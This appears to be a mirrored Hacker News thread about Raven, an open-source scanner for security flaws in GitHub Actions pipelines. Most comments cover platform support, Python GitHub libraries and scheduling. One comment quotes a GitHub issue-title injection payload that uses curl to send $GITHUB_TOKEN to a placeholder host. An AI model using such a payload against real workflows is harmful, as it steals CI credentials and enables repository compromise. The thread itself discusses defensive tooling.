Raven – CI/CD Security Analyzer

Posted by wiradikusuma on Sunday October 29, 2023 @01:23AM
from the github.com dept.

https://github.com/CycodeLabs/raven

( 9 comments | on HN )

Re:Raven – CI/CD Security Analyzer by boredumb on Tuesday October 31, 2023 @05:43PM (#38091811)

Does this only work with github actions?

[ Parent | on HN ]

Re:Raven – CI/CD Security Analyzer by mdaniel on Tuesday October 31, 2023 @06:17PM (#38092189)

Seems so, and also only .com not even GHE https://github.com/CycodeLabs/raven/blob/v1.0.3/src/download...

I have no earthly idea why a security tool would roll their own GitHub access library in python :-/

[ Parent | on HN ]

Re:Raven – CI/CD Security Analyzer by diarrhea on Tuesday October 31, 2023 @08:08PM (#38093035)

There is no official GitHub SDK for Python. It's easy enough to do it anyway. This is not authentication logic either.

[ Parent | on HN ]

Re:Raven – CI/CD Security Analyzer by chriswitts on Wednesday November 01, 2023 @03:52AM (#38095618)

PyGithub has existed for ages, even if it is not official. GitHub only maintains octokit for JS, Ruby, .NET, and Terraform.

[ Parent | on HN ]

Re:Raven – CI/CD Security Analyzer by smithcoin on Tuesday October 31, 2023 @05:44PM (#38091829)

This looks like a great tool, how would one go about running this periodically for an org?

[ Parent | on HN ]

Re:Raven – CI/CD Security Analyzer by wahnfrieden on Tuesday October 31, 2023 @08:58PM (#38093365)

Gha cron

[ Parent | on HN ]

Re:Raven – CI/CD Security Analyzer by eugercek on Tuesday October 31, 2023 @06:30PM (#38092288)

`new issue title" && curl hacker.boi -d $GITHUB_TOKEN && sleep 30` I hate pipelines even more :(

[ Parent | on HN ]

Re:Raven – CI/CD Security Analyzer by codethief on Tuesday October 31, 2023 @07:14PM (#38092646)

The logo reminded me of Raven Software. Good times!

[ Parent | on HN ]

Re:Raven – CI/CD Security Analyzer by senkora on Wednesday November 01, 2023 @12:47AM (#38094679)

This sounds a lot like my memory of what Praetorian Chariot does (continuous security scanning and pentesting as a service). Very cool to see that idea in an open source tool.

https://www.praetorian.com/proactive-cybersecurity-technolog...

[ Parent | on HN ]